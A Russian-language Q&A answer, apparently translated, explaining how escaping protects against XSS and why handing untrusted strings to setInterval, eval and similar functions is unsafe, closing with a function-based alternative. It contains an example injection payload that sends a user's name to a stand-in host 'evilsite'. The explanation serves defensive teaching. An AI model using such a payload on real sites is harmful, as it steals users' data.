Сначала немного предыстории:
Экранирование для защиты от XSS включает добавление подходящих escape-символов, чтобы мошеннические данные не могли вырваться из того места, где вы их поместили, и были оценены как JavaScript.
например, данный пользовательский ввод xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '
Если вы вставили его в строковый литерал с серверным кодом:
const userinput = '<?php echo $_GET("userinput"); ?>'
Вы получите:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
Тогда '
вырвется из строкового литерала в JS, украдет имя пользователя и отправит его на сайт злоумышленника. (Есть вещи похуже, чем имена пользователей, которые могут быть украдены.
Экранирование предназначено для предотвращения выхода данных из строкового литерала, например:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
Таким образом, атакующий код просто становится часть строки , а не оценивается как необработанный код.
Проблема с передачей строки в setInterval
(или setTimeout
, new Function
, eval
, и c) заключается в том, что они являются функциями , предназначенными для оценки кода .
Злоумышленнику не нужно выходить за пределы строкового литерала, чтобы выполнить свой код. Это уже происходит.
Мой вопрос заключается в понимании того, почему setInterval никогда не может быть защищен от XSS.
Это не то, о чем вы процитировали предупреждение. Он сказал, что никогда не может безопасно использовать ненадежные данные в качестве входных . Если вы помещаете туда свой собственный код, это совершенно безопасно. Проблемы возникают именно тогда, когда вы оцениваете ввод данных пользователем.
Передавать строку в setInterval
в любом случае - плохая идея. Это сложно отлаживать и относительно медленно.
Вместо этого передайте функцию. Тогда вы даже можете безопасно использовать пользовательский ввод (поскольку он не оценивается как код, это просто переменная со строкой в ней).
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);